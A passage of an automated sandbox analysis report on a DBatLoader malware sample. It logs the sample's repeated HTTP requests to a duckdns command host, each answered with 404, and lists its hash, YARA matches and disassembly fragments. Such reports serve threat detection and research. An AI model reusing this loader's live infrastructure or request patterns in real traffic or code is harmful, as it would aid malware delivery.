2022-08-05 10:11:54 UTC	37	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
88	192.168.2.6	49883	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:11:55 UTC	37	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:11:55 UTC	37	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:11:55 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:11:55 UTC	37	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
89	192.168.2.6	49884	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:11:59 UTC	37	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:11:59 UTC	37	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:11:59 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:11:59 UTC	37	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.6	49767	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:10:34 UTC	3	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:10:35 UTC	3	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:10:34 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:10:35 UTC	4	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
90	192.168.2.6	49885	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:00 UTC	38	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:00 UTC	38	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:00 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:00 UTC	38	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
91	192.168.2.6	49886	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:00 UTC	38	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:00 UTC	38	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:00 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:00 UTC	38	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
92	192.168.2.6	49887	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:01 UTC	38	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:01 UTC	39	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:01 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:01 UTC	39	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
93	192.168.2.6	49888	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:02 UTC	39	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:02 UTC	39	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:02 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:02 UTC	39	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
94	192.168.2.6	49889	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:02 UTC	39	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:02 UTC	39	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:02 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:02 UTC	40	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
95	192.168.2.6	49890	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:03 UTC	40	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:03 UTC	40	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:03 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:03 UTC	40	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
96	192.168.2.6	49892	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:04 UTC	40	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:04 UTC	40	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:04 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:04 UTC	40	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
97	192.168.2.6	49893	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:05 UTC	41	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:05 UTC	41	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:05 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:05 UTC	41	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
98	192.168.2.6	49894	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:05 UTC	41	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:05 UTC	41	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:05 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:05 UTC	41	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
99	192.168.2.6	49895	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:05 UTC	41	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:05 UTC	42	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:05 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:05 UTC	42	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

System Behavior

Analysis Process: vOj00hEkoQ.exePID: 1328, Parent PID: 6088

General

Target ID:	0
Start time:	12:10:24
Start date:	05/08/2022
Path:	C:\Users\user\Desktop\vOj00hEkoQ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\vOj00hEkoQ.exe"
Imagebase:	0x400000
File size:	1009664 bytes
MD5 hash:	17E836D33B139295B876B1A3B6A23299
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000003.392588116.0000000004686000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000003.446198402.0000000005459000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000003.373361346.0000000005270000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000003.490854963.0000000005867000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000003.467333094.0000000005480000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000003.458083719.0000000005496000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000003.375096550.0000000005370000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000003.456022736.000000000534F000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000003.384404649.00000000047FB000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000003.421890595.00000000058A9000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000003.470742737.000000000538A000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000003.526945257.0000000005867000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000003.401374110.0000000004684000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000003.405069389.0000000004768000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000003.413452133.0000000005724000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000003.449064329.000000000537C000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000003.452539340.0000000005364000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000003.425810513.0000000005852000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000003.481942578.000000000543B000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000003.508537851.0000000005935000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000003.372707185.0000000005470000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000000.356239685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000003.464356911.00000000054A6000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000003.451399152.0000000004983000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000003.381326351.00000000046DA000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000003.399740861.0000000004781000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000003.479431451.000000000535E000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000003.474528340.00000000054A6000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: vOj00hEkoQ.exePID: 1328, Parent PID: 6088COMMON

Non-executed Functions

Function 028C971F Relevance: 1.3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

Strings

nJ, xrefs: 028C97E0

Memory Dump Source

Source File: 00000000.00000003.357357072.00000000028C8000.00000004.00001000.00020000.00000000.sdmp, Offset: 028C8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_28c8000_vOj00hEkoQ.jbxd

Similarity

API ID:
String ID: nJ
API String ID: 0-2303097403
Opcode ID: 7123772bfbe88f6cd9ca112f2d06e1779816ccf4591fe63f875165a48961e36f
Instruction ID: 00d137ed35a2ad96bf57cb2dfd1fd94bd633b42042e4444f06ea245e26278c07
Opcode Fuzzy Hash: 7123772bfbe88f6cd9ca112f2d06e1779816ccf4591fe63f875165a48961e36f
Instruction Fuzzy Hash: 2F213B387005849FDB45EF2ED885BA973E7BF88304F5980B1A909CB639DB31AE058E11

Uniqueness

Uniqueness Score: -1.00%

Function 028C9050 Relevance: .8, Instructions: 798COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.357357072.00000000028C8000.00000004.00001000.00020000.00000000.sdmp, Offset: 028C8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_28c8000_vOj00hEkoQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2c67104f567a0dd6ccc095f6aae238ab19dc4a323c5552c36767b41942b33bf
Instruction ID: e9a54fbf98e5a50da333e53e08202e3d144be230e3052658eb8e43a176031265
Opcode Fuzzy Hash: d2c67104f567a0dd6ccc095f6aae238ab19dc4a323c5552c36767b41942b33bf
Instruction Fuzzy Hash: E952C17A40D7C04FC7168F708AA26A57FB4FF03214B2946DFC4958F4A3D329962AC792

Uniqueness

Uniqueness Score: -1.00%

Function 028C8D03 Relevance: 31.4, Strings: 25, Instructions: 144COMMON

Download Yara Rule

Strings

4nJ, xrefs: 028C8ED1
\nJ, xrefs: 028C8E67
hnJ, xrefs: 028C8E49
0nJ, xrefs: 028C8EE1
(nJ, xrefs: 028C8EF5
@nJ, xrefs: 028C8EAD
|nJ, xrefs: 028C8E17
TnJ, xrefs: 028C8E7B
dnJ, xrefs: 028C8E53
DnJ, xrefs: 028C8EA3
,nJ, xrefs: 028C8EEB
XnJ, xrefs: 028C8E71
`nJ, xrefs: 028C8E5D
tnJ, xrefs: 028C8E2B
xnJ, xrefs: 028C8E21
PnJ, xrefs: 028C8E85
HnJ, xrefs: 028C8E99
nJ, xrefs: 028C8F09
LnJ, xrefs: 028C8E8F
HTJ, xrefs: 028C8D48
<nJ, xrefs: 028C8EB7
lnJ, xrefs: 028C8E3F
$nJ, xrefs: 028C8EFF
pnJ, xrefs: 028C8E35
8nJ, xrefs: 028C8EC7

Memory Dump Source

Source File: 00000000.00000003.357357072.00000000028C8000.00000004.00001000.00020000.00000000.sdmp, Offset: 028C8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_28c8000_vOj00hEkoQ.jbxd

Similarity

API ID:
String ID: nJ$$nJ$(nJ$,nJ$0nJ$4nJ$8nJ$<nJ$@nJ$DnJ$HTJ$HnJ$LnJ$PnJ$TnJ$XnJ$\nJ$`nJ$dnJ$hnJ$lnJ$pnJ$tnJ$xnJ$|nJ
API String ID: 0-1763534049
Opcode ID: 088fa785e0b784b3f1263906e3199ca9942c186276c5d0916ace3abc63f51e5b
Instruction ID: c3dc1e1a6981680e0c89b5952f97bab1ce51239e30df7456ca34032ddd95291e
Opcode Fuzzy Hash: 088fa785e0b784b3f1263906e3199ca9942c186276c5d0916ace3abc63f51e5b
